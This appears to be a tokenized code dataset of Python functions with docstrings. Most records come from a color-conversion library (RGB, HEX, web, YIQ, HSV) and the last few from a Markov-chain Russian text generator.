{"signature": "def random_rgb():", "body": "return random.randint(<NUM_LIT:0>, <NUM_LIT:255>), random.randint(<NUM_LIT:0>, <NUM_LIT:255>), random.randint(<NUM_LIT:0>, <NUM_LIT:255>)<EOL>", "docstring": "Generate a uniformly random RGB value.\n\n:return: A tuple of three integers with values between 0 and 255 inclusive", "id": "f9713:m0"}
{"signature": "def random_hex():", "body": "return rgb_to_hex(random_rgb())<EOL>", "docstring": "Generate a uniformly random HEX value.\n\n:return: A string representing a random HEX value between 000000 and FFFFFF inclusive", "id": "f9713:m1"}
{"signature": "def random_web():", "body": "return rgb_to_web(random_rgb())<EOL>", "docstring": "Generate a uniformly random WEB value.\n\n:return:", "id": "f9713:m2"}
{"signature": "def offset_random_rgb(seed, amount=<NUM_LIT:1>):", "body": "r, g, b = seed<EOL>results = []<EOL>for _ in range(amount):<EOL><INDENT>base_val = ((r + g + b) / <NUM_LIT:3>) + <NUM_LIT:1>  <EOL>new_val = base_val + (random.random() * rgb_max_val / <NUM_LIT:5>)  <EOL>ratio = new_val / base_val<EOL>results.append((min(int(r*ratio), rgb_max_val), min(int(g*ratio), rgb_max_val), min(int(b*ratio), rgb_max_val)))<EOL><DEDENT>return results[<NUM_LIT:0>] if len(results) > <NUM_LIT:1> else results<EOL>", "docstring": "Given a seed color, generate a specified number of random colors (1 color by default) determined by a randomized\noffset from the seed.\n\n:param seed:\n:param amount:\n:return:", "id": "f9713:m3"}
{"signature": "def offset_random_hex(seed, amount=<NUM_LIT:1>):", "body": "return rgb_to_hex(offset_random_rgb(seed, amount))<EOL>", "docstring": "Given a seed color, generate a specified number of random colors (1 color by default) determined by a randomized\noffset from the seed.\n\n:param seed:\n:param amount:\n:return:", "id": "f9713:m4"}
{"signature": "def offset_random_web(seed, amount=<NUM_LIT:1>):", "body": "return rgb_to_web(offset_random_rgb(seed, amount))<EOL>", "docstring": "Given a seed color, generate a specified number of random colors (1 color by default) determined by a randomized\noffset from the seed.\n\n:param seed:\n:param amount:\n:return:", "id": "f9713:m5"}
{"signature": "def color_run(start_color, end_color, step_count, inclusive=True, to_color=True):", "body": "if isinstance(start_color, Color):<EOL><INDENT>start_color = start_color.rgb<EOL><DEDENT>if isinstance(end_color, Color):<EOL><INDENT>end_color = end_color.rgb<EOL><DEDENT>step = tuple((end_color[i] - start_color[i])/step_count for i in range(<NUM_LIT:3>))<EOL>add = lambda x, y: tuple(sum(z) for z in zip(x, y))<EOL>mult = lambda x, y: tuple(y * z for z in x)<EOL>run = [add(start_color, mult(step, i)) for i in range(<NUM_LIT:1>, step_count)]<EOL>if inclusive:<EOL><INDENT>run = [start_color] + run + [end_color]<EOL><DEDENT>return run if not to_color else [Color(c) for c in run]<EOL>", "docstring": "Given a start color, end color, and a number of steps, returns a list of colors which represent a 'scale' between\nthe start and end color.\n\n:param start_color: The color starting the run\n:param end_color: The color ending the run\n:param step_count: The number of colors to have between the start and end color\n:param inclusive: Flag determining whether to include start and end values in run (default True)\n:param to_color: Flag indicating return values should be Color objects (default True)\n:return: List of colors between the start and end color\n:rtype: list", "id": "f9713:m6"}
{"signature": "def text_color(background, dark_color=rgb_min, light_color=rgb_max):", "body": "max_y = rgb_to_yiq(rgb_max)[<NUM_LIT:0>]<EOL>return light_color if rgb_to_yiq(background)[<NUM_LIT:0>] <= max_y / <NUM_LIT:2> else dark_color<EOL>", "docstring": "Given a background color in the form of an RGB 3-tuple, returns the color the text should be (defaulting to white\nand black) for best readability. The light (white) and dark (black) defaults can be overridden to return preferred\nvalues.\n\n:param background:\n:param dark_color:\n:param light_color:\n:return:", "id": "f9713:m7"}
{"signature": "def minify_hex(_hex):", "body": "size = len(_hex.strip('<STR_LIT:#>'))<EOL>if size == <NUM_LIT:3>:<EOL><INDENT>return _hex<EOL><DEDENT>elif size == <NUM_LIT:6>:<EOL><INDENT>if _hex[<NUM_LIT:1>] == _hex[<NUM_LIT:2>] and _hex[<NUM_LIT:3>] == _hex[<NUM_LIT:4>] and _hex[<NUM_LIT:5>] == _hex[<NUM_LIT:6>]:<EOL><INDENT>return _hex[<NUM_LIT:0>::<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>return _hex<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ColorException('<STR_LIT>'.format(size))<EOL><DEDENT>", "docstring": "Given a HEX value, tries to reduce it from a 6 character hex (e.g. #ffffff) to a 3 character hex (e.g. #fff).\nIf the HEX value is unable to be minified, returns the 6 character HEX representation.\n\n:param _hex:\n:return:", "id": "f9713:m8"}
{"signature": "def __init__(self, color=None, **kwargs):", "body": "self.equality_fn = RGB_eq<EOL>self.arithmetic = ArithmeticModel.LIGHT<EOL>if isinstance(color, Color):<EOL><INDENT>self._color = color._color<EOL><DEDENT>else:<EOL><INDENT>self._color = color if color else rgb_min<EOL><DEDENT>for k, v in kwargs.items():<EOL><INDENT>setattr(self, k, v)<EOL><DEDENT>", "docstring": "Initialization", "id": "f9713:c2:m0"}
{"signature": "def __eq__(self, other):", "body": "if isinstance(other, Color):<EOL><INDENT>return self.equality_fn(self, other)<EOL><DEDENT>return False<EOL>", "docstring": "Equals", "id": "f9713:c2:m1"}
{"signature": "def __ne__(self, other):", "body": "return not self.__eq__(other)<EOL>", "docstring": "Not Equals", "id": "f9713:c2:m2"}
{"signature": "def __add__(self, other):", "body": "if isinstance(other, Color):<EOL><INDENT>r1, g1, b1 = self.rgb<EOL>r2, g2, b2 = other.rgb<EOL><DEDENT>elif isinstance(other, tuple) and len(other) == <NUM_LIT:3>:<EOL><INDENT>r1, g1, b1 = self.rgb<EOL>r2, g2, b2 = other<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(type(self), type(other)))<EOL><DEDENT>if self.arithmetic is ArithmeticModel.LIGHT:<EOL><INDENT>return Color((min(r1 + r2, rgb_max_val), min(g1 + g2, rgb_max_val), min(b1 + b2, rgb_max_val)))<EOL><DEDENT>else:<EOL><INDENT>return Color(((r1 + r2 // <NUM_LIT:2>), (g1 + g2 // <NUM_LIT:2>), (b1 + b2 // <NUM_LIT:2>)))<EOL><DEDENT>", "docstring": "Addition", "id": "f9713:c2:m3"}
{"signature": "def __sub__(self, other):", "body": "if isinstance(other, Color):<EOL><INDENT>r1, g1, b1 = self.rgb<EOL>r2, g2, b2 = other.rgb<EOL><DEDENT>elif isinstance(other, tuple) and len(other) == <NUM_LIT:3>:<EOL><INDENT>r1, g1, b1 = self.rgb<EOL>r2, g2, b2 = other<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(type(self), type(other)))<EOL><DEDENT>return Color((max(r1 - r2, rgb_min_val), max(g1 - g2, rgb_min_val), max(b1 - b2, rgb_min_val)))<EOL>", "docstring": "Subtraction", "id": "f9713:c2:m4"}
{"signature": "def __iter__(self):", "body": "return iter(self._color)<EOL>", "docstring": "Iterator", "id": "f9713:c2:m5"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT:{}>\".format(self._color)<EOL>", "docstring": "String representation", "id": "f9713:c2:m6"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\".format(self._color)<EOL>", "docstring": "General representation", "id": "f9713:c2:m7"}
{"signature": "@property<EOL><INDENT>def red(self):<DEDENT>", "body": "return self._color[<NUM_LIT:0>]<EOL>", "docstring": "The red component of the RGB color representation.", "id": "f9713:c2:m8"}
{"signature": "@property<EOL><INDENT>def green(self):<DEDENT>", "body": "return self._color[<NUM_LIT:1>]<EOL>", "docstring": "The green component of the RGB color representation.", "id": "f9713:c2:m10"}
{"signature": "@property<EOL><INDENT>def blue(self):<DEDENT>", "body": "return self._color[<NUM_LIT:2>]<EOL>", "docstring": "The blue component of the RGB color representation.", "id": "f9713:c2:m12"}
{"signature": "@property<EOL><INDENT>def rgb(self):<DEDENT>", "body": "return self._color<EOL>", "docstring": "An RGB representation of the color.", "id": "f9713:c2:m14"}
{"signature": "@property<EOL><INDENT>def hex(self):<DEDENT>", "body": "return rgb_to_hex(self.rgb)<EOL>", "docstring": "A 6-char HEX representation of the color, with a prepended octothorpe.", "id": "f9713:c2:m16"}
{"signature": "@property<EOL><INDENT>def shorthex(self):<DEDENT>", "body": "return minify_hex(self.hex)<EOL>", "docstring": "The same as Color.hex, however, HEX values that can be minified to 3-char are returned as such.", "id": "f9713:c2:m18"}
{"signature": "@property<EOL><INDENT>def web(self):<DEDENT>", "body": "return rgb_to_web(self.rgb)<EOL>", "docstring": "A WEB representation of the color.", "id": "f9713:c2:m19"}
{"signature": "@property<EOL><INDENT>def yiq(self):<DEDENT>", "body": "return rgb_to_yiq(self.rgb)<EOL>", "docstring": "A YIQ representation of the color.", "id": "f9713:c2:m21"}
{"signature": "@property<EOL><INDENT>def hsv(self):<DEDENT>", "body": "return rgb_to_hsv(self.rgb)<EOL>", "docstring": "An HSV representation of the color", "id": "f9713:c2:m23"}
{"signature": "def rgb_to_hex(rgb):", "body": "r, g, b = rgb<EOL>return \"<STR_LIT>\".format(hex(int(r))[<NUM_LIT:2>:].zfill(<NUM_LIT:2>), hex(int(g))[<NUM_LIT:2>:].zfill(<NUM_LIT:2>), hex(int(b))[<NUM_LIT:2>:].zfill(<NUM_LIT:2>))<EOL>", "docstring": "Convert an RGB color representation to a HEX color representation.\n\n(r, g, b) :: r -> [0, 255]\n             g -> [0, 255]\n             b -> [0, 255]\n\n:param rgb: A tuple of three numeric values corresponding to the red, green, and blue value.\n:return: HEX representation of the input RGB value.\n:rtype: str", "id": "f9719:m0"}
{"signature": "def rgb_to_web(rgb):", "body": "try:<EOL><INDENT>return web_colors[rgb]<EOL><DEDENT>except KeyError:<EOL><INDENT>return rgb_to_hex(rgb)<EOL><DEDENT>", "docstring": "Convert an RGB color representation to a WEB color representation.\n\n(r, g, b) :: r -> [0, 255]\n             g -> [0, 255]\n             b -> [0, 255]\n\n:param rgb: A tuple of three numeric values corresponding to the red, green, and blue value.\n:return: WEB representation of the input RGB value.\n:rtype: str", "id": "f9719:m1"}
{"signature": "def rgb_to_yiq(rgb):", "body": "r, g, b = rgb[<NUM_LIT:0>] / <NUM_LIT:255>, rgb[<NUM_LIT:1>] / <NUM_LIT:255>, rgb[<NUM_LIT:2>] / <NUM_LIT:255><EOL>y = (<NUM_LIT> * r) + (<NUM_LIT> * g) + (<NUM_LIT> * b)<EOL>i = (<NUM_LIT> * r) - (<NUM_LIT> * g) - (<NUM_LIT> * b)<EOL>q = (<NUM_LIT> * r) - (<NUM_LIT> * g) + (<NUM_LIT> * b)<EOL>return round(y, <NUM_LIT:3>), round(i, <NUM_LIT:3>), round(q, <NUM_LIT:3>)<EOL>", "docstring": "Convert an RGB color representation to a YIQ color representation.\n\n(r, g, b) :: r -> [0, 255]\n             g -> [0, 255]\n             b -> [0, 255]\n\n:param rgb: A tuple of three numeric values corresponding to the red, green, and blue value.\n:return: YIQ representation of the input RGB value.\n:rtype: tuple", "id": "f9719:m2"}
{"signature": "def rgb_to_hsv(rgb):", "body": "r, g, b = rgb[<NUM_LIT:0>] / <NUM_LIT:255>, rgb[<NUM_LIT:1>] / <NUM_LIT:255>, rgb[<NUM_LIT:2>] / <NUM_LIT:255><EOL>_min = min(r, g, b)<EOL>_max = max(r, g, b)<EOL>v = _max<EOL>delta = _max - _min<EOL>if _max == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0>, <NUM_LIT:0>, v<EOL><DEDENT>s = delta / _max<EOL>if delta == <NUM_LIT:0>:<EOL><INDENT>delta = <NUM_LIT:1><EOL><DEDENT>if r == _max:<EOL><INDENT>h = <NUM_LIT> * (((g - b) / delta) % <NUM_LIT:6>)<EOL><DEDENT>elif g == _max:<EOL><INDENT>h = <NUM_LIT> * (((b - r) / delta) + <NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>h = <NUM_LIT> * (((r - g) / delta) + <NUM_LIT:4>)<EOL><DEDENT>return round(h, <NUM_LIT:3>), round(s, <NUM_LIT:3>), round(v, <NUM_LIT:3>)<EOL>", "docstring": "Convert an RGB color representation to an HSV color representation.\n\n(r, g, b) :: r -> [0, 255]\n             g -> [0, 255]\n             b -> [0, 255]\n\n:param rgb: A tuple of three numeric values corresponding to the red, green, and blue value.\n:return: HSV representation of the input RGB value.\n:rtype: tuple", "id": "f9719:m3"}
{"signature": "def hex_to_rgb(_hex):", "body": "_hex = _hex.strip('<STR_LIT:#>')<EOL>n = len(_hex) // <NUM_LIT:3><EOL>if len(_hex) == <NUM_LIT:3>:<EOL><INDENT>r = int(_hex[:n] * <NUM_LIT:2>, <NUM_LIT:16>)<EOL>g = int(_hex[n:<NUM_LIT:2> * n] * <NUM_LIT:2>, <NUM_LIT:16>)<EOL>b = int(_hex[<NUM_LIT:2> * n:<NUM_LIT:3> * n] * <NUM_LIT:2>, <NUM_LIT:16>)<EOL><DEDENT>else:<EOL><INDENT>r = int(_hex[:n], <NUM_LIT:16>)<EOL>g = int(_hex[n:<NUM_LIT:2> * n], <NUM_LIT:16>)<EOL>b = int(_hex[<NUM_LIT:2> * n:<NUM_LIT:3> * n], <NUM_LIT:16>)<EOL><DEDENT>return r, g, b<EOL>", "docstring": "Convert a HEX color representation to an RGB color representation.\n\nhex :: hex -> [000000, FFFFFF]\n\n:param _hex: The 3- or 6-char hexadecimal string representing the color value.\n:return: RGB representation of the input HEX value.\n:rtype: tuple", "id": "f9719:m4"}
{"signature": "def hex_to_web(_hex):", "body": "try:<EOL><INDENT>return web_colors[hex_to_rgb(_hex)]<EOL><DEDENT>except KeyError:<EOL><INDENT>return _hex<EOL><DEDENT>", "docstring": "Convert a HEX color representation to a WEB color representation.\n\nhex :: hex -> [000000, FFFFFF]\n\n:param _hex: The 3- or 6-char hexadecimal string representing the color value.\n:return: WEB representation of the input HEX value.\n:rtype: str", "id": "f9719:m5"}
{"signature": "def hex_to_yiq(_hex):", "body": "return rgb_to_yiq(hex_to_rgb(_hex))<EOL>", "docstring": "Convert a HEX color representation to a YIQ color representation.\n\nhex :: hex -> [000000, FFFFFF]\n\n:param _hex: The 3- or 6-char hexadecimal string representing the color value.\n:return: YIQ representation of the input HEX value.\n:rtype: tuple", "id": "f9719:m6"}
{"signature": "def hex_to_hsv(_hex):", "body": "return rgb_to_hsv(hex_to_rgb(_hex))<EOL>", "docstring": "Convert a HEX color representation to an HSV color representation.\n\nhex :: hex -> [000000, FFFFFF]\n\n:param _hex: The 3- or 6-char hexadecimal string representing the color value.\n:return: HSV representation of the input HEX value.\n:rtype: tuple", "id": "f9719:m7"}
{"signature": "def web_to_rgb(web):", "body": "try:<EOL><INDENT>return web_colors[web.lower()]<EOL><DEDENT>except KeyError:<EOL><INDENT>return hex_to_rgb(web)<EOL><DEDENT>", "docstring": "Convert a WEB color representation to an RGB color representation.\n\nweb :: web -> [000000, FFFFFF]\n            | in static.web_colors\n\n:param web: The WEB string representation of a color.\n:return: RGB representation of the input WEB value.\n:rtype: tuple", "id": "f9719:m8"}
{"signature": "def web_to_hex(web):", "body": "try:<EOL><INDENT>return rgb_to_hex(web_colors[web])<EOL><DEDENT>except KeyError:<EOL><INDENT>return web<EOL><DEDENT>", "docstring": "Convert a WEB color representation to a HEX color representation.\n\nweb :: web -> [000000, FFFFFF]\n            | in static.web_colors\n\n:param web: The WEB string representation of a color.\n:return: HEX representation of the input WEB value.\n:rtype: str", "id": "f9719:m9"}
{"signature": "def web_to_yiq(web):", "body": "return rgb_to_yiq(web_to_rgb(web))<EOL>", "docstring": "Convert a WEB color representation to a YIQ color representation.\n\nweb :: web -> [000000, FFFFFF]\n            | in static.web_colors\n\n:param web: The WEB string representation of a color.\n:return: YIQ representation of the input WEB value.\n:rtype: tuple", "id": "f9719:m10"}
{"signature": "def web_to_hsv(web):", "body": "return rgb_to_hsv(web_to_rgb(web))<EOL>", "docstring": "Convert a WEB color representation to an HSV color representation.\n\nweb :: web -> [000000, FFFFFF]\n            | in static.web_colors\n\n:param web: The WEB string representation of a color.\n:return: HSV representation of the input WEB value.\n:rtype: tuple", "id": "f9719:m11"}
{"signature": "def yiq_to_rgb(yiq):", "body": "y, i, q = yiq<EOL>r = y + (<NUM_LIT> * i) + (<NUM_LIT> * q)<EOL>g = y - (<NUM_LIT> * i) - (<NUM_LIT> * q)<EOL>b = y - (<NUM_LIT> * i) + (<NUM_LIT> * q)<EOL>r = <NUM_LIT:1> if r > <NUM_LIT:1> else max(<NUM_LIT:0>, r)<EOL>g = <NUM_LIT:1> if g > <NUM_LIT:1> else max(<NUM_LIT:0>, g)<EOL>b = <NUM_LIT:1> if b > <NUM_LIT:1> else max(<NUM_LIT:0>, b)<EOL>return round(r * <NUM_LIT:255>, <NUM_LIT:3>), round(g * <NUM_LIT:255>, <NUM_LIT:3>), round(b * <NUM_LIT:255>, <NUM_LIT:3>)<EOL>", "docstring": "Convert a YIQ color representation to an RGB color representation.\n\n(y, i, q) :: y -> [0, 1]\n             i -> [-0.5957, 0.5957]\n             q -> [-0.5226, 0.5226]\n\n:param yiq: A tuple of three numeric values corresponding to the luma and chrominance.\n:return: RGB representation of the input YIQ value.\n:rtype: tuple", "id": "f9719:m12"}
{"signature": "def yiq_to_hex(yiq):", "body": "return rgb_to_hex(yiq_to_rgb(yiq))<EOL>", "docstring": "Convert a YIQ color representation to a HEX color representation.\n\n(y, i, q) :: y -> [0, 1]\n             i -> [-0.5957, 0.5957]\n             q -> [-0.5226, 0.5226]\n\n:param yiq: A tuple of three numeric values corresponding to the luma and chrominance.\n:return: HEX representation of the input YIQ value.\n:rtype: str", "id": "f9719:m13"}
{"signature": "def yiq_to_web(yiq):", "body": "return rgb_to_web(yiq_to_rgb(yiq))<EOL>", "docstring": "Convert a YIQ color representation to a WEB color representation.\n\n(y, i, q) :: y -> [0, 1]\n             i -> [-0.5957, 0.5957]\n             q -> [-0.5226, 0.5226]\n\n:param yiq: A tuple of three numeric values corresponding to the luma and chrominance.\n:return: WEB representation of the input YIQ value.\n:rtype: str", "id": "f9719:m14"}
{"signature": "def yiq_to_hsv(yiq):", "body": "return rgb_to_hsv(yiq_to_rgb(yiq))<EOL>", "docstring": "Convert a YIQ color representation to an HSV color representation.\n\n(y, i, q) :: y -> [0, 1]\n             i -> [-0.5957, 0.5957]\n             q -> [-0.5226, 0.5226]\n\n:param yiq: A tuple of three numeric values corresponding to the luma and chrominance.\n:return: HSV representation of the input YIQ value.\n:rtype: tuple", "id": "f9719:m15"}
{"signature": "def hsv_to_rgb(hsv):", "body": "h, s, v = hsv<EOL>c = v * s<EOL>h /= <NUM_LIT><EOL>x = c * (<NUM_LIT:1> - abs((h % <NUM_LIT:2>) - <NUM_LIT:1>))<EOL>m = v - c<EOL>if h < <NUM_LIT:1>:<EOL><INDENT>res = (c, x, <NUM_LIT:0>)<EOL><DEDENT>elif h < <NUM_LIT:2>:<EOL><INDENT>res = (x, c, <NUM_LIT:0>)<EOL><DEDENT>elif h < <NUM_LIT:3>:<EOL><INDENT>res = (<NUM_LIT:0>, c, x)<EOL><DEDENT>elif h < <NUM_LIT:4>:<EOL><INDENT>res = (<NUM_LIT:0>, x, c)<EOL><DEDENT>elif h < <NUM_LIT:5>:<EOL><INDENT>res = (x, <NUM_LIT:0>, c)<EOL><DEDENT>elif h < <NUM_LIT:6>:<EOL><INDENT>res = (c, <NUM_LIT:0>, x)<EOL><DEDENT>else:<EOL><INDENT>raise ColorException(\"<STR_LIT>\")<EOL><DEDENT>r, g, b = res<EOL>return round((r + m)*<NUM_LIT:255>, <NUM_LIT:3>), round((g + m)*<NUM_LIT:255>, <NUM_LIT:3>), round((b + m)*<NUM_LIT:255>, <NUM_LIT:3>)<EOL>", "docstring": "Convert an HSV color representation to an RGB color representation.\n\n(h, s, v) :: h -> [0, 360)\n             s -> [0, 1]\n             v -> [0, 1]\n\n:param hsv: A tuple of three numeric values corresponding to the hue, saturation, and value.\n:return: RGB representation of the input HSV value.\n:rtype: tuple", "id": "f9719:m16"}
{"signature": "def hsv_to_hex(hsv):", "body": "return rgb_to_hex(hsv_to_rgb(hsv))<EOL>", "docstring": "Convert an HSV color representation to a HEX color representation.\n\n(h, s, v) :: h -> [0, 360)\n             s -> [0, 1]\n             v -> [0, 1]\n\n:param hsv: A tuple of three numeric values corresponding to the hue, saturation, and value.\n:return: HEX representation of the input HSV value.\n:rtype: str", "id": "f9719:m17"}
{"signature": "def hsv_to_web(hsv):", "body": "return rgb_to_web(hsv_to_rgb(hsv))<EOL>", "docstring": "Convert an HSV color representation to a WEB color representation.\n\n(h, s, v) :: h -> [0, 360)\n             s -> [0, 1]\n             v -> [0, 1]\n\n:param hsv: A tuple of three numeric values corresponding to the hue, saturation, and value.\n:return: WEB representation of the input HSV value.\n:rtype: str", "id": "f9719:m18"}
{"signature": "def hsv_to_yiq(hsv):", "body": "return rgb_to_yiq(hsv_to_rgb(hsv))<EOL>", "docstring": "Convert an HSV color representation to a YIQ color representation.\n\n(h, s, v) :: h -> [0, 360)\n             s -> [0, 1]\n             v -> [0, 1]\n\n:param hsv: A tuple of three numeric values corresponding to the hue, saturation, and value.\n:return: YIQ representation of the input HSV value.\n:rtype: tuple", "id": "f9719:m19"}
{"signature": "def __init__(self, chain_order=<NUM_LIT:2>, vk_object=None, *file_paths):", "body": "if chain_order < <NUM_LIT:1>:<EOL><INDENT>raise MarkovTextExcept(<EOL>\"<STR_LIT>\".format(chain_order)<EOL>)<EOL><DEDENT>self.chain_order = chain_order<EOL>self.tokens_array = ()<EOL>self.base_dict = {}<EOL>self.start_arrays = ()<EOL>self.vk_object = vk_object<EOL>self.vocabulars = {}<EOL>self.temp_folder = abspath(<EOL>os_join(expanduser(\"<STR_LIT>\"), \"<STR_LIT>\")<EOL>)<EOL>if not isdir(self.temp_folder):<EOL><INDENT>makedirs(self.temp_folder)<EOL><DEDENT>for _path in frozenset(filter(isfile, map(abspath, file_paths))):<EOL><INDENT>self.update(_path)<EOL><DEDENT>", "docstring": ":chain_order: \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0432\u0435\u043d\u044c\u0435\u0432 \u0446\u0435\u043f\u0438, \u0434\u043b\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c.\n:vk_object: \u041e\u0431\u044a\u0435\u043a\u0442 \u043a\u043b\u0430\u0441\u0441\u0430 \u0412\u043b\u0430\u0434\u044f-\u0431\u043e\u0442\u0430, \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438. \u041d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d.\n:file_paths: \u041f\u0443\u0442\u0438 \u043a \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c, \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.", "id": "f9726:c1:m0"}
{"signature": "def token_is_correct(self, token):", "body": "if self.is_rus_word(token):<EOL><INDENT>return True<EOL><DEDENT>elif self.ONLY_MARKS.search(token):<EOL><INDENT>return True<EOL><DEDENT>elif self.END_TOKENS.search(token):<EOL><INDENT>return True<EOL><DEDENT>elif token in \"<STR_LIT>\":<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "\u041f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u043b\u0438 \u0442\u043e\u043a\u0435\u043d, \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u0435\u043a\u0441\u0442\u0430.\n\u0414\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u0441\u043b\u043e\u0432\u0430, \u0437\u043d\u0430\u043a\u0438 \u043f\u0440\u0435\u043f\u0438\u043d\u0430\u043d\u0438\u044f \u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043d\u0430\u0447\u0430\u043b\u0430 \u0438 \u043a\u043e\u043d\u0446\u0430.", "id": "f9726:c1:m2"}
{"signature": "def get_optimal_variant(self, variants, start_words, **kwargs):", "body": "if not start_words:<EOL><INDENT>return (choice(variants), {})<EOL><DEDENT>_variants = []<EOL>_weights = []<EOL>for tok in frozenset(variants):<EOL><INDENT>if not self.token_is_correct(tok):<EOL><INDENT>continue<EOL><DEDENT>weight = variants.count(tok)<EOL>for word in start_words:<EOL><INDENT>for token in self.ONLY_WORDS.finditer(word.strip().lower()):<EOL><INDENT>if token.group() == tok:<EOL><INDENT>weight <<= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>_variants.append(tok)<EOL>_weights.append(weight)<EOL><DEDENT>if not _variants:<EOL><INDENT>return (choice(variants), {})<EOL><DEDENT>return (choices(_variants, weights=_weights, k=<NUM_LIT:1>)[<NUM_LIT:0>], {})<EOL>", "docstring": "\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u0438\u0437 \u0432\u044b\u0431\u043e\u0440\u043a\u0438.", "id": "f9726:c1:m4"}
{"signature": "def start_generation(self, *start_words, **kwargs):", "body": "out_text = \"<STR_LIT>\"<EOL>_need_capialize = True<EOL>for token in self._get_generate_tokens(*start_words, **kwargs):<EOL><INDENT>if token in \"<STR_LIT>\":<EOL><INDENT>_need_capialize = True<EOL>continue<EOL><DEDENT>if self.ONLY_WORDS.search(token):<EOL><INDENT>out_text += \"<STR_LIT:U+0020>\"<EOL><DEDENT>if _need_capialize:<EOL><INDENT>_need_capialize = False<EOL>token = token.title()<EOL><DEDENT>out_text += token<EOL><DEDENT>return out_text.strip()<EOL>", "docstring": "\u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435.\n:start_words: \u041f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u0447\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u044d\u0442\u0438\u0445 \u0441\u043b\u043e\u0432.", "id": "f9726:c1:m6"}
{"signature": "def get_start_array(self, *start_words, **kwargs):", "body": "if not self.start_arrays:<EOL><INDENT>raise MarkovTextExcept(\"<STR_LIT>\")<EOL><DEDENT>if not start_words:<EOL><INDENT>return choice(self.start_arrays)<EOL><DEDENT>_variants = []<EOL>_weights = []<EOL>for tokens in self.start_arrays:<EOL><INDENT>weight = <NUM_LIT><EOL>for word in start_words:<EOL><INDENT>word = word.strip().lower()<EOL>for token in self.ONLY_WORDS.finditer(word):<EOL><INDENT>if token.group() in tokens:<EOL><INDENT>weight <<= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>if weight > <NUM_LIT>:<EOL><INDENT>_variants.append(tokens)<EOL>_weights.append(weight)<EOL><DEDENT><DEDENT>if not _variants:<EOL><INDENT>return choice(self.start_arrays)<EOL><DEDENT>return choices(_variants, weights=_weights, k=<NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "\u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u043d\u0430\u0447\u0430\u043b\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n:start_words: \u041f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u0447\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u044d\u0442\u0438\u0445 \u0441\u043b\u043e\u0432.", "id": "f9726:c1:m7"}
{"signature": "def create_base(self):", "body": "self.base_dict = {}<EOL>_start_arrays = []<EOL>for tokens, word in self.chain_generator():<EOL><INDENT>self.base_dict.setdefault(tokens, []).append(word)<EOL>if tokens[<NUM_LIT:0>] == \"<STR_LIT>\":  <EOL><INDENT>_start_arrays.append(tokens)<EOL><DEDENT><DEDENT>self.start_arrays = tuple(<EOL>frozenset(self.get_corrected_arrays(_start_arrays))<EOL>)<EOL>", "docstring": "\u041c\u0435\u0442\u043e\u0434 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c, \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432.\n\u0412\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043c\u0435\u0442\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.", "id": "f9726:c1:m8"}
